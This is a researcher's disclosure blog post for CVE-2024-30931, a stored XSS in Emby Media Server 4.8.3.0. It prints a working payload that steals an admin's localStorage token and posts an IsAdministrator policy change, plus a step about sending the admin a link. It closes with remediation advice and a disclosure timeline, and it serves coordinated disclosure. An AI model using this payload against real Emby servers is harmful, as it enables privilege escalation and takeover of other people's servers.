Post

CVE-2024-30931

Emby Media Server XSS

TL;DR - Whilst playing with Emby Media Server 4.8.3.0, we found stored XSS and, due to other security configurations in the platform, we were able to craft a payload that results in privilege escalation to a platform admin.

Shoutout

We want to start by giving a huge shoutout to the Emby team (particularly Luke!). They were receptive of the issue, really responsive, and great to discuss the implications with. PLUS they had a patch ready and pushed in an impressively short period of time. They have, without a doubt, made this one of the best disclosure processes we have been involved with. Awesome work - we wish more disclosure processes were like this!

Technical details

What is it?

Emby is a media content management system, which allows storage and access of media from across a variety of devices. It’s a great alternative to things like Plex and Jellyfin. The usage model is that any user can setup an Emby Media Server on their device - and then they can invite other users to browse their content through a system of invites. Invites only grant users access to specific libraries and content, and shouldn’t be able to view or adjust the site settings (unless their account account is elevated to an administrator).

What was wrong?

When interacting with the application we found that Emby allowed all users to create custom notifications for themselves via the form of webhooks. These notifications allowed a user to:

“Setup notifications to stay informed of important events on your Emby Server.”

However, we found that there was insufficient validation on the custom notification creation request which makes it vulnerable to abuse. Stored within the FriendlyName parameter, we discovered that low-privileged users are able to include HTML and JavaScript. Y’all can probably see where this is going…

Creating notifications involves a single POST request with the following body (as an example):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /emby/Notifications/Services/Configured?X-Emby-Client=Emby+Web&X-Emby-Device-Name=Firefox+Windows&X-Emby-Device-Id=5e9c8c56-57cc-4efb-918e-93043f9d8316&X-Emby-Client-Version=4.8.3.0&X-Emby-Token=33b5bd218d99420cbb2dca6d8fc724ec&X-Emby-Language=en-gb&reqformat=json HTTP/1.1
Content-Type: application/json
[SNIP]

{
  "NotifierKey":"webhooknotifications",
  "SetupModuleUrl":"configurationpage?name=webhookeditorjs",
  "ServiceName":"Webhooks",
  "PluginId":"85a7b1d4-fbda-4e85-a0a2-ac303c9946a4",
  "FriendlyName":"anything your heart desires",
  "Id":"6fa55ef97af842138d96d4f207e4a702",
  "Enabled":true,
  "UserIds":[],
  "DeviceIds":[],
  "LibraryIds":[],
  "EventIds":["system.serverrestartrequired","system.updateavailable"],
  "UserId":"2",
  "IsSelfNotification":true,
  "Options":{"EnableMultipartFormData":true,"Url":"https://example.com"},
  "Type":"UserNotification",
  "ServerId":"6f6e060683af45eca5431bd2c3e024c2",
  "EventNames":"Server"
  }

A simple <img src=1 onerror='alert("2")'> here, a submission of the request there, and boom we have some Stored XSS whenever that notification is viewed.

Note that the ServerId and UserId, are already disclosed by the URI when logging in (but the UserId in the POST request above is different to the UserId disclosed in the URI. It is the URI’s UserId which is unique and used in all following requests.)

So what?

At the moment though, exploiting this vulnerability is pretty pointless - sure you could inject some JavaScript or HTML and make the page look a bit funky - but not much else. Unless the site is doing something weird, it is unlikely that we would be able to do much damage here.

But, speaking of weird, we wondered how Emby handles authentication and authorization.

After a little digging, we discovered that authenticated users requests all contain the X-Emby-Token (a little weird that it’s sent as part of the URI and not the body of the POST request but ¯\(ツ)/¯). So where is that token stored? A cookie with the HTTP Only attribute? No, in Local Storage!

Oh no, this is all wrong

As the token is stored in local storage as part of the servercredentials3 item, it means that we are able to access the value of that token using client-side JavaScript. Which looks something like this:

token = JSON.parse(localStorage.getItem("servercredentials3")).Servers[0].Users[0].AccessToken;

But still, retrieving our own token isn’t much to get excited about - after all we already have it! But if we were able to retrieve someone else’s token, we might be able to perform actions as that user!

The last piece

So after a bit of poking and prodding of administrative functionality, we discovered that administrators have this wonderful thing called administrator functionality (/s)! As part of the administrative functionality, admins can elevate the privileges of any other user on the platform by making a POST request to /emby/Users/<UserId>/Policy, with the payload {"IsAdministrator":true}.

Elevating the user above (as an example) would be a single POST request with the following body:

1
2
3
4
5
6
7
POST /emby/Users/6ff8d0b689e54f09a5f5819b8d73a5b0/Policy?X-Emby-Token=<admin_token_from_local_storage> HTTP/1.1
Content-Type: application/json
[SNIP]

{
    "IsAdministrator":true
}

Putting it all together

Putting all the pieces together, all we really need to do is to replace our original Stored XSS payload with the following payload, which defines and executes a custom JavaScript function to retrieve the token and then submit a POST request using it (but replacing the UserId in /emby/Users/<UserId>/Policy with the UserId of the current user):

1
2
3
4
5
6
7
8
9
10
<img src=1 onerror='(
    function foo(){ 
        token = JSON.parse(localStorage.getItem("servercredentials3")).Servers[0].Users[0].AccessToken; 
        var xhttp = new XMLHttpRequest(); 
        xhttp.open("POST", "/emby/Users/<UserId>/Policy?X-Emby-Token="+token, true); 
        xhttp.setRequestHeader("Content-type", "application/json"); 
        xhttp.send(JSON.stringify({"IsAdministrator":true})); 
        alert("Oh, I am the captain now?"); 
    }
).call(this)'>

Saving the notification will trigger a pop-up when the XSS triggers, but it currently does nothing as our user doesn’t have permissions to elevate users to admins. However, this Stored XSS triggers when ANY user views your notifications, now we could wait for the off chance someone looks at the notification…. or we could send it to someone. Say, the server admin? So we send the admin the notification! The URL for the notifications page looks something like (using the user and server ids obtained above):

https://emby.redacted/web/index.html#!/settings/notifications.html?userId=6ff8d0b689e54f09a5f5819b8d73a5b0&serverId=6f6e060683af45eca5431bd2c3e024c2

All we need to do now is to get any Emby user with admin permissions to the site, to visit the link above to our notification page, and our payload will retrieve their token and use it to make our user an admin of the site!

Good practice

There are several issues here which allowed this exploitation chain. Preventing any one of them would have made this exploit significantly harder if not impossible.

  1. Input validation, and not trusted user-provided input in any POST or GET request would have prevented the Stored XSS in the first place. An excellent library for performing that in JavaScript is DOMPurify
  2. The presence of a content security policy (CSP) may have prevented any Stored XSS payload from triggering
  3. Storing credentials as Cookies (rather than in local storage), would have prevented the Stored XSS from being able to access the token (if the Cookies were configured correctly with cough HttpOnly cough). Good practice guide here
  4. Re-authentication for privilaged functionality is also something that could be considered.

Disclosure timeline

  • 17/03/2024: Disclosure submitted to Emby.
  • 21/03/2024: Confirmed receipt by Emby and statement that the issue will be patched in 4.8.4.
  • 22/03/2024: Applied for MITRE CVE (with permission from the Emby team).
  • 04/04/2024: CVE-2024-30931 reserved.
  • 10/04/2024: Next release date of patched version of Emby announced.
  • 21/04/2024: Fixed version of Emby released (4.8.4.0).
  • 21/06/2024: Blog post published. Yeah I’m a slow writer okay?

Reporters

This post is licensed under CC BY 4.0 by the author.